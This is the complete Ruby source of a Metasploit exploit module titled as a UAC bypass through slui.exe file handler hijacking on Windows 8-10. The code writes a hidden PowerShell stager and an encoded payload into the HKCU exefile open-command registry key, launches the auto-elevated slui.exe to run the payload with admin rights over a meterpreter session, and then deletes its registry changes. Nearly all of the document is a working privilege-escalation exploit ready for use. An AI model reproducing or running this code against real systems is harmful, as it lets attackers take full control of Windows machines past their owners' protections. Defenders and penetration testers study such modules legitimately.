Microsoft Windows – UAC Protection Bypass (Via Slui File Handler Hijack) (Metasploit)
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core/exploit/exe' require 'msf/core/exploit/powershell' class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Exploit::Powershell include Post::Windows::Priv include Post::Windows::Registry include Post::Windows::Runas SLUI_DEL_KEY = "HKCU\\Software\\Classes\\exefile".freeze SLUI_WRITE_KEY = "HKCU\\Software\\Classes\\exefile\\shell\\open\\command".freeze EXEC_REG_DELEGATE_VAL = 'DelegateExecute'.freeze EXEC_REG_VAL = ''.freeze # This maps to "(Default)" EXEC_REG_VAL_TYPE = 'REG_SZ'.freeze SLUI_PATH = "%WINDIR%\\System32\\slui.exe".freeze CMD_MAX_LEN = 16383 def initialize(info = {}) super( update_info( info, 'Name' => 'Windows UAC Protection Bypass (Via Slui File Handler Hijack)', 'Description' => %q{ This module will bypass UAC on Windows 8-10 by hijacking a special key in the Registry under the Current User hive, and inserting a custom command that will get invoked when any binary (.exe) application is launched. But slui.exe is an auto-elevated binary that is vulnerable to file handler hijacking. When we run slui.exe with changed Registry key (HKCU:\Software\Classes\exefile\shell\open\command), it will run our custom command as Admin instead of slui.exe. The module modifies the registry in order for this exploit to work. The modification is reverted once the exploitation attempt has finished. The module does not require the architecture of the payload to match the OS. If specifying EXE::Custom your DLL should call ExitProcess() after starting the payload in a different process. }, 'License' => MSF_LICENSE, 'Author' => [ 'bytecode-77', # UAC bypass discovery and research 'gushmazuko', # MSF & PowerShell module ], 'Platform' => ['win'], 'SessionTypes' => ['meterpreter'], 'Targets' => [ ['Windows x86', { 'Arch' => ARCH_X86 }], ['Windows x64', { 'Arch' => ARCH_X64 }] ], 'DefaultTarget' => 0, 'References' => [ [ 'URL', 'https://github.com/bytecode-77/slui-file-handler-hijack-privilege-escalation', 'URL', 'https://github.com/gushmazuko/WinBypass/blob/master/SluiHijackBypass.ps1' ] ], 'DisclosureDate' => 'Jan 15 2018' ) ) end def check if sysinfo['OS'] =~ /Windows (8|10)/ && is_uac_enabled? CheckCode::Appears else CheckCode::Safe end end def exploit # Validate that we can actually do things before we bother # doing any more work check_permissions! commspec = 'powershell' registry_view = REGISTRY_VIEW_NATIVE psh_path = "%WINDIR%\\System32\\WindowsPowershell\\v1.0\\powershell.exe" # Make sure we have a sane payload configuration if sysinfo['Architecture'] == ARCH_X64 if session.arch == ARCH_X86 # On x64, check arch commspec = '%WINDIR%\\Sysnative\\cmd.exe /c powershell' if target_arch.first == ARCH_X64 # We can't use absolute path here as # %WINDIR%\\System32 is always converted into %WINDIR%\\SysWOW64 from a x86 session psh_path = "powershell.exe" end end if target_arch.first == ARCH_X86 # Invoking x86, so switch to SysWOW64 psh_path = "%WINDIR%\\SysWOW64\\WindowsPowershell\\v1.0\\powershell.exe" end else # if we're on x86, we can't handle x64 payloads if target_arch.first == ARCH_X64 fail_with(Failure::BadConfig, 'x64 Target Selected for x86 System') end end if !payload.arch.empty? && (payload.arch.first != target_arch.first) fail_with(Failure::BadConfig, 'payload and target should use the same architecture') end case get_uac_level when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP, UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP, UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT fail_with(Failure::NotVulnerable, "UAC is set to 'Always Notify'. This module does not bypass this setting, exiting...") when UAC_DEFAULT print_good('UAC is set to Default') print_good('BypassUAC can bypass this setting, continuing...') when UAC_NO_PROMPT print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead') shell_execute_exe return end payload_value = rand_text_alpha(8) psh_path = expand_path(psh_path) template_path = Rex::Powershell::Templates::TEMPLATE_DIR psh_payload = Rex::Powershell::Payload.to_win32pe_psh_net(template_path, payload.encoded) if psh_payload.length > CMD_MAX_LEN fail_with(Failure::None, "Payload size should be smaller then #{CMD_MAX_LEN} (actual size: #{psh_payload.length})") end psh_stager = "\"IEX (Get-ItemProperty -Path #{SLUI_WRITE_KEY.gsub('HKCU', 'HKCU:')} -Name #{payload_value}).#{payload_value}\"" cmd = "#{psh_path} -nop -w hidden -c #{psh_stager}" existing = registry_getvaldata(SLUI_WRITE_KEY, EXEC_REG_VAL, registry_view) || "" exist_delegate = !registry_getvaldata(SLUI_WRITE_KEY, EXEC_REG_DELEGATE_VAL, registry_view).nil? if existing.empty? registry_createkey(SLUI_WRITE_KEY, registry_view) end print_status("Configuring payload and stager registry keys ...") unless exist_delegate registry_setvaldata(SLUI_WRITE_KEY, EXEC_REG_DELEGATE_VAL, '', EXEC_REG_VAL_TYPE, registry_view) end registry_setvaldata(SLUI_WRITE_KEY, EXEC_REG_VAL, cmd, EXEC_REG_VAL_TYPE, registry_view) registry_setvaldata(SLUI_WRITE_KEY, payload_value, psh_payload, EXEC_REG_VAL_TYPE, registry_view) # Calling slui.exe through cmd.exe allow us to launch it from either x86 or x64 session arch. cmd_path = expand_path(commspec) cmd_args = expand_path("Start-Process #{SLUI_PATH} -Verb runas") print_status("Executing payload: #{cmd_path} #{cmd_args}") # We can't use cmd_exec here because it blocks, waiting for a result. client.sys.process.execute(cmd_path, cmd_args, 'Hidden' => true) # Wait a copule of seconds to give the payload a chance to fire before cleaning up # TODO: fix this up to use something smarter than a timeout? sleep(3) handler(client) print_status("Cleaining ...") unless exist_delegate registry_deleteval(SLUI_WRITE_KEY, EXEC_REG_DELEGATE_VAL, registry_view) end if existing.empty? registry_deletekey(SLUI_DEL_KEY, registry_view) else registry_setvaldata(SLUI_WRITE_KEY, EXEC_REG_VAL, existing, EXEC_REG_VAL_TYPE, registry_view) end registry_deleteval(SLUI_WRITE_KEY, payload_value, registry_view) end def check_permissions! unless check == Exploit::CheckCode::Appears fail_with(Failure::NotVulnerable, "Target is not vulnerable.") end fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system? # Check if you are an admin # is_in_admin_group can be nil, true, or false print_status('UAC is Enabled, checking level...') vprint_status('Checking admin status...') admin_group = is_in_admin_group? if admin_group.nil? print_error('Either whoami is not there or failed to execute') print_error('Continuing under assumption you already checked...') else if admin_group print_good('Part of Administrators group! Continuing...') else fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module') end end if get_integrity_level == INTEGRITY_LEVEL_SID[:low] fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level') end end end |